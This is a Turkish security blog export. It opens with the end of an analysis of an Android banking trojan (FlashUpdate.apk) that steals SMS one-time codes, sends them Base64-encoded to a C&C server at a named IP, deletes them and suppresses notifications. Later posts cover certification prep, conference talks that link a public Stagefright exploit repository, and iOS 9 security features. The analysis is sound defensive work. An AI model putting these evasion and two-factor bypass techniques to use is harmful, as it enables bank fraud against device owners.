<span style="font-family: "courier new" , "courier" , monospace;">SmsReceiver</span> broadcast receiver komponenti içerisinde gerçekleştirilen son işlem yine <span style="font-family: "courier new" , "courier" , monospace;">CountDownTimer</span> sınıfından türetilen bir zamanlayıcı (bu raporda <span style="font-family: "courier new" , "courier" , monospace;">SMSReceiverCountdownTimer</span> olarak isimlendirilmiştir) çalıştırılmasıdır. Bu zamanlayıcı bittiğinde öncelikle SMS veritabanı sorgulanmakta ve gelmiş olan SMS mesajı Base64 kodlanarak C&C sunucusuna gönderilmektedir. Bu işlemi gerçekleştiren kod parçası Şekil 60’ta 1 numara ile gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-gUriREH8nVk/Vqh_oPLJz-I/AAAAAAAADgY/8YejkHczyE8/s1600/54-SMSReceiverCountdownTimer.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="332" src="http://4.bp.blogspot.com/-gUriREH8nVk/Vqh_oPLJz-I/AAAAAAAADgY/8YejkHczyE8/s640/54-SMSReceiverCountdownTimer.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 60 SMSReceiverCountdownTimer zamanlayıcısına ait onFinish metodu</td></tr>
</tbody></table>
<div style="text-align: justify;">
Cihaza gelmiş olan SMS mesajının sunucuya gönderildiği HTTP POST talebi Şekil 61’de gösterilmiştir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-dQ_MTo1s6s0/Vqh_rUItmkI/AAAAAAAADgk/Sir3IAhGelo/s1600/55-ReportReceivedSMStoC2CServer.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="248" src="http://1.bp.blogspot.com/-dQ_MTo1s6s0/Vqh_rUItmkI/AAAAAAAADgk/Sir3IAhGelo/s640/55-ReportReceivedSMStoC2CServer.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 61 C&C sunucusuna gönderilen SMS içeriği</td></tr>
</tbody></table>
<div style="text-align: justify;">
SMS mesajı C&C sunucusuna gönderildikten sonra cihazın SMS veritabanından silinmektedir. Bu sayede kullanıcının gelen SMS mesajından haberdar olması engellenmeye çalışılmaktadır. İlgili kod parçası Şekil 60’ta 2 numara ile gösterilmiştir. Bir sonraki adımda bir başka zamanlayıcı (bu raporda <span style="font-family: "courier new" , "courier" , monospace;">SMSReceiverCountdownTimer2</span> olarak adlandırılmıştır) çalıştırılmaktadır. İlgili kod parçası Şekil 60’ta 3 numara ile gösterilmiştir.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">SMSReceiverCountdownTimer2</span> zamanlayıcının her ilerleyişinde kullanıcıya “System is updated” ve o anki zamanı gösteren bir bildirim gösterilmektedir. Ancak ekranda <span style="font-family: "courier new" , "courier" , monospace;">SmsActivity</span> activity komponenti bulunduğundan bu bildirimler görünmemektedir. İlgili kod parçası Şekil 62’de gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-3wptxsGUBfo/Vqh_uNnvFaI/AAAAAAAADgw/CPO64lKKxDI/s1600/56-SMSReceiverCountDownTimer2OnTick.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="104" src="http://2.bp.blogspot.com/-3wptxsGUBfo/Vqh_uNnvFaI/AAAAAAAADgw/CPO64lKKxDI/s640/56-SMSReceiverCountDownTimer2OnTick.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 62 SMSReceiverCountdownTimer2 zamanlayıcısının onTick fonksiyonu</td></tr>
</tbody></table>
<div style="text-align: justify;">
Zamanlayıcının süresi bittiğinde ise shared preferences dosyasına daha önce phnumb key’i ile kaydedilmiş olan telefon numarasına “System is updated” mesajı ve zaman damgası içeren bir SMS gönderilmektedir. İlgili kod parçası Şekil 63’te gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-BKgRngGIVRY/Vqh_wRJ7OxI/AAAAAAAADg8/NsxteWnyugU/s1600/57-SMSReceiverCountDownTimer2OnFinish.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="180" src="http://3.bp.blogspot.com/-BKgRngGIVRY/Vqh_wRJ7OxI/AAAAAAAADg8/NsxteWnyugU/s640/57-SMSReceiverCountDownTimer2OnFinish.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 63 SMSReceiverCountdownTimer2 zamanlayıcısının onFinish fonksiyonu</td></tr>
</tbody></table>
<div style="text-align: justify;">
SMS gönderimini müteakiben kullanıcıya bir de bildirim gösterilmektedir. İlgili telefon numarasına gönderilen SMS mesajı Şekil 64’te; kullanıcıya gösterilen bildirim ise Şekil 65’te gösterilmiştir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-Avh5_RN5mO4/Vqh_6cpAQ3I/AAAAAAAADhI/bxVj3hl6Qwk/s1600/59-SystemIsUpdatedSMS.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="http://4.bp.blogspot.com/-Avh5_RN5mO4/Vqh_6cpAQ3I/AAAAAAAADhI/bxVj3hl6Qwk/s320/59-SystemIsUpdatedSMS.png" width="191" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 64 Shared Preferences dosyasında kayıtlı telefon numarasına gönderilen SMS mesajı</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-n74ExuYzNMI/Vqh_8wkqVXI/AAAAAAAADhU/uy_PbiBPKv8/s1600/58-SystemIsUpdatedNotification.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="http://4.bp.blogspot.com/-n74ExuYzNMI/Vqh_8wkqVXI/AAAAAAAADhU/uy_PbiBPKv8/s320/58-SystemIsUpdatedNotification.png" width="189" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 65 Kullanıcıya gösterilen bildirim</td></tr>
</tbody></table>
<h3 style="text-align: justify;">
Uygulamaya Ait Diğer Giriş Noktaları</h3>
<div style="text-align: justify;">
Yukarıda bahsedilen komponentler dışında uygulamanın <span style="font-family: "courier new" , "courier" , monospace;">AndroidManifest.XML</span> dosyası içerisinde tanımlanmış birkaç tane daha broadcast receiver komponenti mevcuttur. Bunlardan en önemlisi <span style="font-family: "courier new" , "courier" , monospace;">MyDeviceAdminReceiver</span> komponentidir ki raporun daha önceki bölümlerinde aktivitesi açıklanmıştır. Cihaz yöneticisi aktifleştirildiğinde veya deaktive edildiğinde bu broadcast receiver tetiklenmektedir. Bunun dışında cihazda network servisini ve admin servisini başlatmaktan sorumlu ve isimleri sırasıyla <span style="font-family: "courier new" , "courier" , monospace;">NetworkStartReceiver</span> ve <span style="font-family: "courier new" , "courier" , monospace;">AdminRestartReceiver</span> olan iki adet broadcast receiver daha bulunmaktadır. Yaptıkları aktiviteler yine raporun önceki bölümlerinde açıklanmıştır.</div>
<h2 style="text-align: justify;">
Sonuç</h2>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">FlashUpdate.apk</span> dosya ismine ve com.android.alarm paket ismine sahip bu uygulama Türkiye’de hizmet veren 3 adet bankaya ait mobil bankacılık uygulaması kullanan müşterileri hedef alana bir bankacılık zararlı yazılımıdır. Uygulama temel olarak C&C sunucusundan komut almakta ve kullanıcılara <span style="font-family: "courier new" , "courier" , monospace;">WebView</span> nesnesi kullanarak sahte bir mobil bankacılık giriş sayfası göstermektedir. İlgili sahte sayfalar aşağıda gösterilmiştir. Bu sahte sayfa ile kullanıcılardan bankacılık uygulamasına ait kullanıcı adı ve parola bilgisini almaktadır. Aynı zamanda uygulama cihaza gelen tüm SMS mesajlarını dinlemekte bu sayede kullanıcının cep telefonluna gelen tek kullanımlık bankacılık SMS’lerini ele geçirebilmektedir. SMS mesajının geldiği dönemde cihazın sesini kısıp cihazı titreşime almakta ve aynı zamanda titreşim süresini sıfırlayarak cihazın titremesini engellemektedir. Buna ek olarak <span style="font-family: "courier new" , "courier" , monospace;">NotificationManager</span> üzerinden kullanıcıya gösterilen tüm bildirimleri de durdurmaktadır. Bu sayede 2 faktörlü kimlik doğrulamasını devre dışı bırakarak kurban kullanıcıların hesaplarına erişebilmek için bütün bilgileri elde etmektedir. Türkiye’de hizmet veren bankalar dışında birçok banka ve servisi de hedef almaktadır. Uygulamanın haberleşmiş olduğu 193.201.227.26 IP adresinden hizmet veren C&C sunucusu incelendiğinde uygulamanın hedef aldığı diğer servisler görülebilmektedir. İlgili bilgi Şekil 66’da gösterilmektedir.</div>
<div style="text-align: justify;">
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-ow88HeKLAC4/VqivLuPeOGI/AAAAAAAADkI/TXiMq1vMnRU/s1600/61-AkbankFakeLoginPage.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="http://3.bp.blogspot.com/-ow88HeKLAC4/VqivLuPeOGI/AAAAAAAADkI/TXiMq1vMnRU/s320/61-AkbankFakeLoginPage.png" width="215" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Kullanıcıya gösterilen sahte kullanıcı girişi sayfası - 1</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-w0BcOej7_9M/VqivsB0tdRI/AAAAAAAADkY/BJuKshYNxck/s1600/62-IsankFakeLoginPage.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="http://4.bp.blogspot.com/-w0BcOej7_9M/VqivsB0tdRI/AAAAAAAADkY/BJuKshYNxck/s320/62-IsankFakeLoginPage.png" width="215" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: 12.8px;">Kullanıcıya gösterilen sahte kullanıcı girişi sayfası - 2</span></td></tr>
</tbody></table>
</div>
<div style="text-align: justify;">
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-x9W-vwUJ3ss/VqivxwDub9I/AAAAAAAADkk/CZIbJHcKZWU/s1600/43-PhishingPage.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="http://4.bp.blogspot.com/-x9W-vwUJ3ss/VqivxwDub9I/AAAAAAAADkk/CZIbJHcKZWU/s320/43-PhishingPage.png" width="223" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: 12.8px;">Kullanıcıya gösterilen sahte kullanıcı girişi sayfası - 3</span></td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-foZw3S9-ZgM/VqiwEZQfhGI/AAAAAAAADkw/D84ZuxhAcl8/s1600/60-TargetedServices.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="296" src="http://3.bp.blogspot.com/-foZw3S9-ZgM/VqiwEZQfhGI/AAAAAAAADkw/D84ZuxhAcl8/s400/60-TargetedServices.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 66 Zararlı yazılımın hedef aldığı servislerin listesi</td></tr>
</tbody></table>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-880810377140693460.post-65203575237235195192015-12-17T11:13:00.000+02:002015-12-17T11:14:09.536+02:00GIAC GMOB Certification Exam Booklet Index<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-TJmzrMku3IM/VnJ8W53QddI/AAAAAAAAC64/P_Arl6ELdLY/s1600/gmob.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="249" src="http://1.bp.blogspot.com/-TJmzrMku3IM/VnJ8W53QddI/AAAAAAAAC64/P_Arl6ELdLY/s640/gmob.png" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
[TR] Geçtiğimiz Şubat ayı içerisinde GIAC GMOB sınavına girip <a href="http://www.giac.org/certified-professional/oguzhan-topgul/144165">"Mobile Device Security Analyst" Sertifikamı aldım</a>. Sertifika sınavı notlar açık bir şekilde gerçekleştiriliyor ancak 5 kitapçık ve binlerce sayfa içerik arasında aradığınız konuyu bulabilmek sınav esnasında pek mümkün değil. Bu yüzden sınava girmeden önce hangi kitapçığın hangi sayfasında hangi konunun işlendiğine dair bir index tablosu hazırlanması tavsiye ediliyor. Ben de sınav öncesi böyle bir tablo hazırlamıştım. Bugün başka bir dosyayı ararken bu tablo ile karşılaştım ve sınava girecek başkalarına yardımcı olabilir ümidiyle paylaşmak istedim. GMOB sınavına girecekler için SANS SEC-575 Kitapçıklarına ait index tabloma <a href="https://drive.google.com/file/d/0B2Z3-eXKz9qTUkdMcVI3aXQ0WEE/view?usp=sharing">bu link</a> üzerinden ulaşabilirsiniz. Önemli bir not, sınav öncesi herkesin kendisine göre bir tablo hazırlaması çok daha verimli bir çalışma olacaktır. Yaklaşık 1 haftalık bir çalışma gerektiren bu işlemi yapmak için vakit bulamayanlar için yardımcı olacaktır diye düşünüyorum.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
[EN] I took the GIAC GMOB Mobile Device Security Analyist examination last February. And yes, <a href="http://www.giac.org/certified-professional/oguzhan-topgul/144165">I'm a certified Mobile Device Security Analyst</a> right now. It was an open-book style exam but it is not easy to find what you are searching from SANS SEC-575 course booklets which are totally more than thousand pages. So it is advised to create an booklet index table which contains subjects, booklet numbers, pages and short notes before taking the exam. I created such an index table during my exam preparation and it took around a week to complete it. I've faced with the index table while I'm searching another file in my computer today and I decided to share it from my webpage in order to help people who is planning to take the GMOB certification exam. I highly recommend to create your own table, but if you don't have enough time this will be useful. You can download it from <a href="https://drive.google.com/file/d/0B2Z3-eXKz9qTUkdMcVI3aXQ0WEE/view?usp=sharing">the link</a>. </div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-880810377140693460.post-72955926639526048772015-10-16T14:16:00.000+03:002015-10-16T14:32:43.029+03:00OWASP-TR Mobil Güvenlik Çalıştayı ve "iOS'da Zararlı Yazılım Yok (Mu?)"Sunumum<div style="text-align: justify;">
14 Ekim günü OWASP-TR ekibi olarak Türkiye'nin ilk mobil güvenlik etkinliği olan Mobil Güvenlik Çalıştayı 2015'i düzenledik. Yaklaşık 100 kişinin katılımıyla gerçekleştirdiğimiz bu etkinlik programında 11 adet sunumdan biri benim yapmış olduğum iOS'da Zararlı Yazılım Yok (Mu?) başlıklı sunumdu. Sunumda özellikle son günlerde artan iOS zararlı yazılımlarıyla ilgili bazı bilgiler vermeye çalıştım. Bu iOS zararlı yazılımlarla ilgili en önemli detaylardan biri cihazlara yüklenmek için Provisioning Profile kanalını kullanmaları. Bu sayede App Store'da yer alan denetim ve kontrollerle uğraşmadan cihaza uygulama kurabilmek mümkün oluyor. Yaptığım sunuma ait slaytları aşağıda bulabiliriniz.</div>
<br />
<center>
<iframe allowfullscreen="" frameborder="0" height="355" marginheight="0" marginwidth="0" scrolling="no" src="//www.slideshare.net/slideshow/embed_code/key/gHschkk6BnuP42" style="border-width: 1px; border: 1px solid #CCC; margin-bottom: 5px; max-width: 100%;" width="425"> </iframe> <br />
<div style="margin-bottom: 5px;">
</div>
</center>
<center style="text-align: justify;">
Şunu söyleyebilirim ki gerçekten güzel bir etkinlik oldu. Başta sunum yaparak değerli bilgi ve tecrübelerini bizlerle paylaşan konuşmacılarımız olmak üzere OWASP-TR Mobil Güvenlik Çalıştayı'na katılan, ilgi gösteren herkese şahsım adına teşekkür ediyorum. Daha nice Mobil Güvenlik Çalıştaylarına, daha nice mobil güvenlik günlerine...</center>
<center style="text-align: justify;">
</center>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-880810377140693460.post-63650134028830074382015-09-09T20:19:00.000+03:002015-09-16T11:51:31.232+03:00Hacktrick 2015 Siber Güvenlik Konferansı Sunumum<div style="text-align: justify;">
6-7-8 Eylül 2015 tarihlerinde Sabancı Üniversitesi'nde düzenlenen Hacktrick 2015 Siber Güvenlik Konferansı'nda yapmış olduğum "Android'in Yeni Kabusu: Medya Dosyaları" başlıklı sunumumu aşağıda bulabilirsiniz. Medya dosyaları, Android medya kütüphanesi ve tabii ki StageFright temel konu başlıklarımızdı. Sunumda <span style="font-family: Courier New, Courier, monospace;">CVE-2015-1538 'stts' MP4 atom integer overflow</span> açıklığını detaylandırmaya ve açıklamaya çalıştım.</div>
<br />
<center>
<iframe allowfullscreen="" frameborder="0" height="355" marginheight="0" marginwidth="0" scrolling="no" src="//www.slideshare.net/slideshow/embed_code/key/ykYwXtaN4HZ6RS" style="border-width: 1px; border: 1px solid #CCC; margin-bottom: 5px; max-width: 100%;" width="425"> </iframe> <br />
<div style="margin-bottom: 5px;">
</div>
</center>
<div style="text-align: justify;">
Sunum sırasında konuştuğumuz konulardan bir tanesi StageFright Public Exploit'inin yayınlanıp yayınlanmadığı konusuydu. Sunumun 45. slaytında da görüleceği üzere sunum tarihi olan 8 Eylül'de Joshua Drake tarafından yayınlanmış bir public exploit yoktu. Kendisi bir private GitHub repo'su içerisinde exploit kodunu tutmakta ve FrieNDA adında :) bir NDA çerçevesinde arkdaşlayırla paylaşmaktaydı. (Beni soracak olursanız, benim sunum günü repo'ya erişimim vardı ancak FrieNDA gerekçesiyle sunumda kullanamadım) Bugün itibariyle bu private repo herkese açık hale getirildi. StageFright 'stsc' MP4 atom integer overflow açıklığına yönelik olan bu exploit koduna https://github.com/jduck/cve-2015-1538-1 adresinden erişebilirsiniz.<br />
Son olarak Hacktrick organizasyonunu düzenleyen OctoSec ekibini tebrik etmek istiyorum. Üniversite öğrencilerinden oluşan bir topluluğun bu kadar büyük ve profesyonel emek gerektiren bir işe kalkışmış olmaları bile takdire şayan. İleride hepsinin çok iyi yerlere geleceğinden şüphem yok.<br />
<br />
Aşağıda ilgili sunumun ingilizce versiyonu mevcut:<br />
<br />
<center>
<iframe allowfullscreen="" frameborder="0" height="355" marginheight="0" marginwidth="0" scrolling="no" src="//www.slideshare.net/slideshow/embed_code/key/3Xe0CEEb0UXPGH" style="border-width: 1px; border: 1px solid #CCC; margin-bottom: 5px; max-width: 100%;" width="425"> </iframe> <br />
<div style="margin-bottom: 5px;">
</div>
</center>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-880810377140693460.post-1013699091784395042015-06-23T14:46:00.002+03:002015-06-24T09:53:41.583+03:00iOS 9 ile Birlikte Gelen Güvenlik ve Gizlilik ÖzellikleriApple, iOS9 ile birlikte gelen yeni güvenlik ve gizlilik özelliklerini WWDC'de yapılan 2 sunumla tanıttı. Bu sunumlara <a href="https://mobile-security.zeef.com/oguzhan.topgul#block_66857_wwdc-15-security-related-talks">WWDC'15 Güvenlik Sunumları</a> bağlantısından ulaşabilirsiniz. Bu yazıda bu sunumlarda öne çıkan güvenlik ve gizlilik özelliklerinden bahsedeceğim.<br />
<h3>
App Transport Security</h3>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-uuQ816uwd_k/VYkLcXllQqI/AAAAAAAACzY/GHwL_IwN4Ps/s1600/app%2Btransport%2Bsecurity.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="396" src="http://3.bp.blogspot.com/-uuQ816uwd_k/VYkLcXllQqI/AAAAAAAACzY/GHwL_IwN4Ps/s640/app%2Btransport%2Bsecurity.png" width="640" /></a></div>
<div style="text-align: justify;">
iOS9 ile birlikte artık uyguylamalar öntanımlı olarak HTTP bağlantı kuramayacaklar. <span style="font-family: Courier New, Courier, monospace;">NSURLSession</span> sınıfı üzerinden gerçekleştirilen bağlantılar öntanımlı olarak en güçlü TLS versiyonunda (şu an için TLSv1.2) ve forward secrecy destekleyecek şekilde yapılandırılacak. Perfect Forward Secrecy (PFS) sayesinde şifreli trafiğin capture edilerek daha ileride elde edilebilecek bir private anahtarla çözülmesinin önüne geçilebilmekte. PFS'in güzel bir açıklaması için aşağıdaki video izlenebilir.<br />
<br />
<a name='more'></a></div>
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/RICaMlGWopA/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/RICaMlGWopA?feature=player_embedded" width="320"></iframe></div>
<div class="separator" style="clear: both; text-align: justify;">
Peki App Transport Security'yi devre dışı bırakmak veya bazı istisnalar tanımlamak mümkün mü? Cevabımız evet, uygulamaya ait <span style="font-family: Courier New, Courier, monospace;">Info.plist </span>dosyası içerisinde domain veya subdomain bazlı olarak ya da tamamen ATS'i devre dışı bırakacak tanımlamalar yapmak mümkün. Tüm bu tanımlamalar <span style="font-family: Courier New, Courier, monospace;">Info.plist</span> içerisinde <span style="font-family: Courier New, Courier, monospace;">NSAppTransportSecurity</span> dictionary'si üzerinden yapılabiliyor. Bu durum özellikle reklam ve istatistik hizmeti servislerine bağlantı için sıklıkla kullanılabilecek gibi görünüyor. Çünkü birçok reklam ve istatistik servisi halen HTTP üzerinden iletişim sağlıyor.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-9Bam4dr-eQs/VYkQ30U-R2I/AAAAAAAACz4/_f-MiF-JdmM/s1600/ATSInfoplist.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="136" src="http://1.bp.blogspot.com/-9Bam4dr-eQs/VYkQ30U-R2I/AAAAAAAACz4/_f-MiF-JdmM/s400/ATSInfoplist.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Örneğin uygulamanıza ait bir domainde ATS'in devrede olmasını istiyorsunuz ancak sunucunuz TLSv1.1 destekliyorsa <span style="font-family: Courier New, Courier, monospace;">NSExceptionMinimumTLSVersion</span> property'sinin değerini TLSv1.1 olarak set ederek bu işlemi gerçekleştirebilirsiniz. Benzer bir şekilkde ATS'in devrede olması ancak Forward Secrecy'nin devre dışı bırakılması <span style="font-family: Courier New, Courier, monospace;">NSExceptionRequiresForwardSecrecy</span> property'sinin değerinin <span style="font-family: Courier New, Courier, monospace;">false</span> olarak set edilmesiyle gerçekleştirilebilir. App Transport Security ile ilgili güzel bir blog postuna <a href="http://www.neglectedpotential.com/2015/06/working-with-apples-application-transport-security/">bu bağlantı</a> üzerinden ulaşabilirsiniz. Ayrıca yine WWDC'15 içerisinde "Networking with NSURLSession" başlıklı bir sunum gerçekleştirildi. Bu sunum içerisinde ATS'in kullanımıyla ilgili detaylı bilgi bulunabilir. Sunuma <a href="https://mobile-security.zeef.com/oguzhan.topgul#block_66857_wwdc-15-security-related-talks">şu adresteki</a> bağlantı üzerinden ulaşabilirsiniz.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<u>Bu Konuyla İlgili Ek Not:</u> Internet bağlantıları için artık <span style="font-family: Courier New, Courier, monospace;">NSURLConnection</span> sınıfının kullanımı tavsiye edilmiyor bunun yerine tavsiye edilen sınıf <span style="font-family: Courier New, Courier, monospace;">NSURLSession</span> sınıfı. Bu sebeple <span style="font-family: Courier New, Courier, monospace;">NSURLConnection</span> üzerinden bağlantı kurulması durumunda güvensiz HTTP bağlantıların kurulması mümkün görünüyor.</div>
<h3 style="clear: both; text-align: justify;">
Keychain, TouchID, Secure Enclave</h3>
<div class="separator" style="clear: both; text-align: justify;">
iOS9 ile birlikte <span style="font-family: Courier New, Courier, monospace;">kSecAttrAccessibleAlways</span> keychain erişim sınıfı artık kullanılması önerilmeyen erişim sınıfı olarak nitelendiriliyor. Bu protection sınıfı keychain item'ın cihaz üzerinde her zaman erişilebilir olmasını sağladığı için iOS9 itibariyle kullanılması tavsiye edilmiyor. iOS 7 itibariyle zaten öntanımlı keychain erişim sınıfı <span style="font-family: Courier New, Courier, monospace;">kSecAttrAccessibleAfterFirstUnlock</span>, yani cihaz kilidi ilk açıldıktan sonra keychain elemanlarının erişilebilir olmasını sağlayan protection sınıfı, olarak ayarlanmıştı.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
iOS9 ile birlikte Local Authentication ile cihaz yakın zamanda parmak izi açılmış ise ve çalıştırdığımız uygulama da parmak izi ile kimlik doğrulaması yapıyorsa uygulamada tekrar parmak izi sorulmaması için <span style="font-family: Courier New, Courier, monospace;">touchIDAuthenticationAllowableReuseDuration</span> property'si getirildi. Bu property'nin değeri olarak belirtilen süre boyunca tekrar TouchID parmak izi taraması sorulmayacak ve bir önceki parmak izi tarama onayı kullanılacak.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-9zERB0lY8dM/VYkfDEodKtI/AAAAAAAAC0Q/mFS_MHGZj-8/s1600/touchid.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://1.bp.blogspot.com/-9zERB0lY8dM/VYkfDEodKtI/AAAAAAAAC0Q/mFS_MHGZj-8/s640/touchid.png" width="640" /></a></div>
<h3 style="clear: both; text-align: justify;">
Yüklü Uygulamaların Tespitinin Engellenmesi</h3>
<div class="separator" style="clear: both; text-align: justify;">
iOS9 ile birlikte gizlilik açısından sıkıntı oluşturan konulardan biri olan cihazda yüklü olan uygulamaların tespit edilmesi konusunda yeni önlemler geliyor.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Uygulama geliştiriciler cihazda kurulu olan uygulamaları programatik olarak tespit etmek için bazı yöntemler kullanıyorlar. Bu yöntemlerden bir tanesi process tablosunu ve dolayısıyla çalışan process'leri gösteren <span style="font-family: Courier New, Courier, monospace;">sysct()</span> fonksiyonu. iOS9 ile birlikte <span style="font-family: Courier New, Courier, monospace;">sysctl()</span> fonksiyonu sandboxed uygulamalara (yani tüm 3rd party uygulamalara) çalışan process'lerle ilgili bilgi dönememesini sağlayacak şekilde modifiye edildi. Buna ek olarak geliştiriciler <span style="font-family: Courier New, Courier, monospace;">UIApplication</span>'ın <span style="font-family: Courier New, Courier, monospace;">canOpenURL()</span> metodunu kullanarak cihazda kurulu uygulamaları tespit edebiliyorlardı. URIScheme'ler iOS'da uygulamalar arası haberleşme için kullanılıyor. Örnek vermek gerekirse herhangi bir uygulama "fb://" URI'ını kullanarak Facebook uygulamasını çağırabilir hatta ilgili uygulamaya veri gönderebilir. Bir uygulama <span style="font-family: Courier New, Courier, monospace;">canOpenURL()</span> fonksiyonunu kullanarak ilgili URI'ın çağırılabilir olup olmadığı kontrol edilebiliyordu. Bu şekilde bilinen uygulamalara ait URI'lar denenerek cihazda hangi uygulamaların kurulu olduğunu testpit etmek mükündü. iOS9 ile birlikte uygulamaların çağırmak istedikleri URI scheme'ları açık olarak kendi Info.plist dosyalarında (<span style="font-family: Courier New, Courier, monospace;">LSApplicationQueriesSchemes</span>) key'i ile belirtmeleri isteniyor. iOS8 için geliştirilmiş ancak iOS9 yüklü bir cihazda çalışan uygulamalar için ise kontrol edebileceği URI scheme sayısı 50 ile sınırlandırılmış durumda.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-byatWNcOZDs/VYk7oW8nRTI/AAAAAAAAC0o/qLKR0d8La2U/s1600/urlscheme.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="396" src="http://3.bp.blogspot.com/-byatWNcOZDs/VYk7oW8nRTI/AAAAAAAAC0o/qLKR0d8La2U/s640/urlscheme.png" width="640" /></a></div>
<h3 style="clear: both; text-align: justify;">
MAC Adress Randomization</h3>
<div class="separator" style="clear: both; text-align: justify;">
Apple, iOS8 ile birlikte gizlilik açısından önemli bir adım olan Mac Address Randomization'u getirdi. Bu sayede iOS cihaz kullanıcılarının MAC adresleri üzerinden takip edilmesini engellemeyi amaçlıyordu. iOS9 ile birlikte bu önlem bir adım daha öteye götürülmüş oldu. </div>
<div class="separator" style="clear: both; text-align: justify;">
iOS8 ile birlikte gelen MAC Address Randomization ile herhangi bir ağa bağlı olunmayan durumlarda gerçekleştirilen Preferred Network Offload (PNO) ve Enhanced Preferred Network Offload (ePNO) taramalarında cihazın gerçek MAC adresinin gönderilmesi engelleniyordu. Cihazın MAC adresi herhangi bir ağa bağlı olmadığı durumlarda farklı bir MAC adresi ile değiştiriliyordu. iOS9 ile birlikte bu PNO taramalarına ek olarak WiFi üzerinden lokasyon belirleme taramaları ve otomatik bağlantı kurulacak access point'lerin taranması sırasında da MAC Address Randomization yapılması özelliği eklendi. </div>
